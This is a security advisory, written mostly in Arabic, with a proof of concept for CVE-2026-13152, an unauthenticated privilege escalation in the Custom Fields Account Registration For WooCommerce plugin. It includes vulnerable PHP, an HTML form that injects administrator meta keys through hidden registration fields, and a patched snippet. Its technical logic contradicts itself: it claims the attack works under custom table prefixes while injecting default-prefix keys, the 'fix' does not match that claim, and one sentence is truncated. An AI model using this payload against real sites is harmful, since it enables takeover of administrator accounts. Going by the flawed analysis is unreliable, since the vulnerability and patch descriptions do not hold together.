
CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).
CVE-2026-13152 هي ثغرة تصعيد صلاحيات غير مُصادَق عليها تؤثر على إضافة Custom Fields Account Registration For WooCommerce لووردبريس في الإصدارات الأقدم من 1.4، وقد اكتشفها وحللها باحث الأمن السيبراني Huynh Kien Minh (MinhHK). يكمن الخلل في أن الإضافة تسمح لحقول الإدخال المخصصة للتسجيل بالكتابة مباشرةً إلى بيانات وصفية حساسة لصلاحيات المستخدم دون تعقيم مفاتيح قاعدة البيانات المحمية أو التحقق من أدوار المستخدم. في المواقع التي تستخدم بادئات جداول قاعدة بيانات غير افتراضية أو تعيينات مخصصة لمفاتيح البيانات الوصفية للمستخدم، يمكن لمستخدم غير مُصادَق عليه يسجّل عبر نموذج تسجيل WooCommerce حقن صلاحيات المسؤول (مثل wp_user_level أو wp_capabilities) في جدول wp_usermeta. يمنح هذا الحسابَ المنشأَ حديثًا وصولًا كاملًا بصلاحيات المسؤول، مما يتيح اختراقًا كاملًا للموقع عن بُعد. أبلغ باحث الأمن السيبراني Huynh Kien Minh الثغرة إلى WPScan، وعالج البائع المشكلة في الإصدار 1.4 من خلال تنفيذ التحقق من أسماء المفاتيح وتقييد تعيين البيانات الوصفية للصلاحيات.
تسمح إضافة Custom Fields Account Registration For WooCommerce لمسؤولي الموقع بتعريف حقول إدخال مخصصة في نموذج تسجيل مستخدمي WooCommerce (نقطة نهاية تسجيل my-account). عندما يرسل مستخدم جديد نموذج التسجيل، تمرّ الإضافة عبر حقول النموذج المُرسَلة وتستدعي update_user_meta($user_id, $meta_key, $meta_value) لحفظ تفاصيل المستخدم.
يكمن الخلل الأساسي في منطق معالجة الإدخال داخل معالج التسجيل. تفشل الإضافة في الاحتفاظ بقائمة سوداء أو بيضاء صارمة لمفاتيح البيانات الوصفية للمستخدم المحمية في ووردبريس (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
في مواقع ووردبريس التي تستخدم بادئات قواعد بيانات مخصصة أو تكوينات مخصصة لمفاتيح البيانات الوصفية، يمكن لمهاجم غير مُصادَق عليه تقديم حقل إدخال مخصص يطابق مفتاح صلاحية المسؤول (wp_user_level = 10 أو مصفوفة مُسلسَلة a:1:{s:13:"administrator";b:1;}). عند إنشاء الحساب، تكتب update_user_meta() هذه القيمة مباشرةً في wp_usermeta، مما يرفع الحساب المُسجَّل حديثًا إلى حالة مسؤول كاملة.
[!CAUTION] يُقدَّم إثبات المفهوم هذا لأغراض تعليمية، وللتدقيق الدفاعي، وللتحقق من الثغرة فقط. الاختبار المصرَّح به فقط.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce إلى الإصدار 1.4 أو أحدث، حيث يتم فرض التحقق الصارم من مفاتيح البيانات الوصفية.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| الخاصية | التفاصيل |
|---|
| معرف CVE | CVE-2026-13152 |
| اسم الإضافة | Custom Fields Account Registration For WooCommerce |
| معرّف الإضافة (Slug) | custom-fields-account-registration-for-woocommerce |
| الإصدارات المتأثرة | < 1.4 |
| الإصدار المُصحَّح | 1.4 |
| نوع الثغرة | تصعيد صلاحيات غير مُصادَق عليه (CWE-269 / OWASP A2) |
| درجة CVSS v3.1 | 8.1 (عالية) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| الباحث الأصلي | Huynh Kien Minh (MinhHK) |
| معرّف استشارة WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |